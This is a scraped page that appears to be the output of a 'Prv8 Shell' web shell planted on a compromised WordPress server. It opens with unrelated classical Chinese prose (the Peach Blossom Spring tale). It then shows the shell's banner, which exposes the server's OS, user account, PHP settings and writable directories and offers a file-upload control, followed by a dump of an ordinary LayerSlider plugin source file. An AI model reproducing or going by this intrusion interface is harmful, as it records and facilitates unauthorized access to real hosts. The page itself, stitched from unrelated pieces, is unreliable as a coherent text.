晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/LayerSlider/assets/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/LayerSlider/assets/classes/class.ls.popups.php
<?php

// Prevent direct file access
defined( 'LS_ROOT_FILE' ) || exit;

class LS_Popups {

	public static $index;
	public static $popups;
	public static $postType;
	public static $frontPage;

	public static $optionKey = 'ls-popup-index';


	/**
	 * Private constructor to prevent instantiate static class
	 *
	 * @since 6.5.0
	 * @access private
	 * @return void
	 */
	private function __construct() {

	}



	public static function init() {

		// Popup is an exclusive feature, don't try to initialize it
		// in case of unactivated sites.
		if( ! LS_Config::isActivatedSite() ) {
			return false;
		}

		// Init Popups data
		self::$index = get_option( self::$optionKey, array());
		self::$popups = array();

		// Make sure that the Popup Index is an array
		if( ! is_array( self::$index ) ) {
			self::$index = array();
		}

		// Examine the Popup Index, see if there are popups
		// that needs to be automatically included on page
		// based on the user settings.
		if( ! is_admin() ) {
			add_action('wp', array(__CLASS__, 'setup'));
		}
	}


	public static function setup() {
		self::$postType = get_post_type();
		self::$frontPage = is_front_page();

		self::autoinclude();
		self::display();

		add_action('wp_footer', array(__CLASS__, 'render'), 1);
	}



	public static function addIndex( $data ) {

		if( empty( $data ) || empty( $data['id'] ) ) {
			return false;
		}

		if( ! is_array( self::$index ) ) {
			self::$index = array();
		}

		self::$index[ $data['id'] ] = $data;
		update_option(self::$optionKey, self::$index);
	}



	public static function removeIndex( $id ) {

		if( ! is_array( self::$index ) ) {
			self::$index = array();
		}

		if( empty( $id ) || empty( self::$index[ $id ] ) ) {
			return false;
		}

		unset( self::$index[ $id ] );
		update_option(self::$optionKey, self::$index);
	}



	protected static function autoinclude() {

		if( is_array(self::$index) && ! empty( self::$index ) ) {
			foreach( self::$index as $key => $popup ) {

				// First time visitor
				if( $popup['first_time_visitor'] && ! empty($_COOKIE['ls-popup-last-displayed'] ) ) {
					continue;
				}

				// Repeat control
				if( ! $popup['repeat'] && ! empty( $_COOKIE['ls-popup-'.$popup['id']] ) ) {
					continue;

				} elseif( $popup['repeat'] && $popup['repeat_days'] !== '' ) {
					if( 0 === (int)$popup['repeat_days'] ) {
						if( ! empty($_COOKIE['ls-popup-last-displayed'] ) ) {
							continue;
						}

					} elseif( ! empty($_COOKIE['ls-popup-'.$popup['id']]) && $_COOKIE['ls-popup-'.$popup['id']] > time() - 60 * 60 * 24 * (int)$popup['repeat_days'] ) {
						continue;
					}
				}


				// User roles
				$user = wp_get_current_user();
				if(
					( empty( $user->ID ) && empty( $popup['roles']['visitor'] ) ) ||
					( ! empty($user->roles[0]) && empty( $popup['roles'][ $user->roles[0] ] ) )
				) {
					continue;
				}

				// Include pages
				if( ! empty( $popup['pages'] ) ) {
					if( ! self::checkPages( $popup['pages'] ) ) {
						continue;
					}
				}

				// Exclude pages
				if( ! empty( $popup['pages']['exclude'] ) ) {
					if( self::checkPages( $popup['pages']['exclude'] ) ) {
						continue;
					}
				}


				// Passed every test, include the Popup
				self::$popups[] = $popup;
			}
		}
	}



	protected static function checkPages( $pages ) {
		if( ! empty( $pages ) && is_array( $pages ) ) {

			if(
				$pages['all'] ||
				( $pages['home'] && self::$frontPage ) ||
				( ! empty( $pages[ self::$postType ] ) && ! self::$frontPage )
			) {

				return true;
			}

			$pages = $pages['custom'];
		}

		if( ! empty( $pages ) ) {
			$pages = explode(',', $pages);
			foreach( $pages as $page ) {
				if( is_category( trim( $page ) ) || is_page( trim( $page ) ) || is_single( trim( $page ) ) ) {
					return true;
				}
			}
		}

		return false;
	}


	protected static function display( ) {

		if( ! empty(self::$popups) && is_array(self::$popups) ) {

			// Update the date of last displayed popup
			setcookie('ls-popup-last-displayed', time(), time()+60*60*24*30*24, '/');

			foreach( self::$popups as $popup ) {

				// Update the last opened date of this particular Popup
				// for the purpose of serving a repeat control.
				$expires = ( (int)$popup['repeat_days'] === 0 ) ? 0 : time() + 60*60*24*365;
				setcookie('ls-popup-'.$popup['id'], time(), $expires );
			}
		}
	}


	public static function render( ) {

		if( ! empty(self::$popups) && is_array(self::$popups) ) {
			foreach( self::$popups as $popup ) {
				layerslider( $popup['id'], '', array( 'popup' => true ) );
			}

		}
	}

}

haha - 2025